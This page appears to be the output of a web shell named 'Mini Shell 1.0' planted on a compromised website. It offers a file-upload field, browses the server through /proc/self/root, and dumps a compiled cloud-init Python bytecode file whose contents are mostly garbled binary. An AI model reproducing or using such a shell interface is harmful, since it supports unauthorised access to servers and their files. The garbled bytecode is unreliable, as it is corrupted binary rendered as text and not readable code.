HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/mergers/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/mergers/__pycache__/m_dict.cpython-311.pyc
�

܍~c�
��2�dZdefZd�ZGd�d��ZdS)�
no_replace�replacec��|D]	}||vrdS�
dS)NTF�)�what�keys�ks   �:/usr/lib/python3/dist-packages/cloudinit/mergers/m_dict.py�_has_anyr
s+��
������9�9��4�4���5�c�&�eZdZd�Zd�Zd�Zd�ZdS)�Mergerc��||_t|_tD]}||vr	||_n�d|v|_t|dd��|_d|v|_d|_dS)N�recurse_str�
recurse_array�recurse_list�allow_deleteT)	�_merger�DEF_MERGE_TYPE�_method�MERGE_TYPES�_recurse_strr
�_recurse_array�
_allow_delete�
_recurse_dict)�self�merger�opts�ms    r	�__init__zMerger.__init__sw�����%����	�	�A��D�y�y� ������*�T�1���&�t�_�n�M�M���+�t�3���!����rc�P�d}||j|j|j|j|jfz}|S)NzWDictMerger: (method=%s,recurse_str=%s,recurse_dict=%s,recurse_array=%s,allow_delete=%s))rrrrr)r�ss  r	�__str__zMerger.__str__%sB��
@�	
�
��L���������
�
���rc�������fd�}|���D]C\}}||vr5|��jr|�|���(||||��||<�>|||<�D|S)Nc�h���r|St|ttf��r"�jr�j�||��St|t��r"�jr�j�||��St|t��r"�j	r�j�||��S|S)N)
�
isinstance�list�tuplerr�merge�strr�dictr)�old_v�new_v�
do_replacers  ��r	�merge_same_keyz/Merger._do_dict_replace.<locals>.merge_same_key4s�����
����%�$���/�/�
8�D�4G�
8��|�)�)�%��7�7�7��%��%�%�
8�$�*;�
8��|�)�)�%��7�7�7��%�$�(�(�
8�T�-?�
8��|�)�)�%��7�7�7��Lr)�itemsr�pop)r�value�
merge_withr-r.r�vs`  `   r	�_do_dict_replacezMerger._do_dict_replace3s�����
	�
	�
	�
	�
	�
	�!�&�&�(�(�	�	�F�Q���E�z�z��9��!3�9��I�I�a�L�L�L�L�-�~�e�A�h��:�:�E�!�H�H���a����rc�"�t|t��s|S|jdkr%|�t|��|d��}nG|jdkr%|�t|��|d��}nt	d|jz���|S)NrTrFzUnknown merge type %s)r%r*rr4�NotImplementedError)rr1r2�mergeds    r	�_on_dictzMerger._on_dictJs����*�t�-�-�	��L��<�9�$�$��*�*�4��;�;�
�D�I�I�F�F�
�\�\�
)�
)��*�*�4��;�;�
�E�J�J�F�F�%�&=���&N�O�O�O��
rN)�__name__�
__module__�__qualname__rr"r4r8rrr	r
r
sP������
"�
"�
"�������.	�	�	�	�	rr
N)rrr
r
rrr	�<module>r<sZ����
�������>�>�>�>�>�>�>�>�>�>r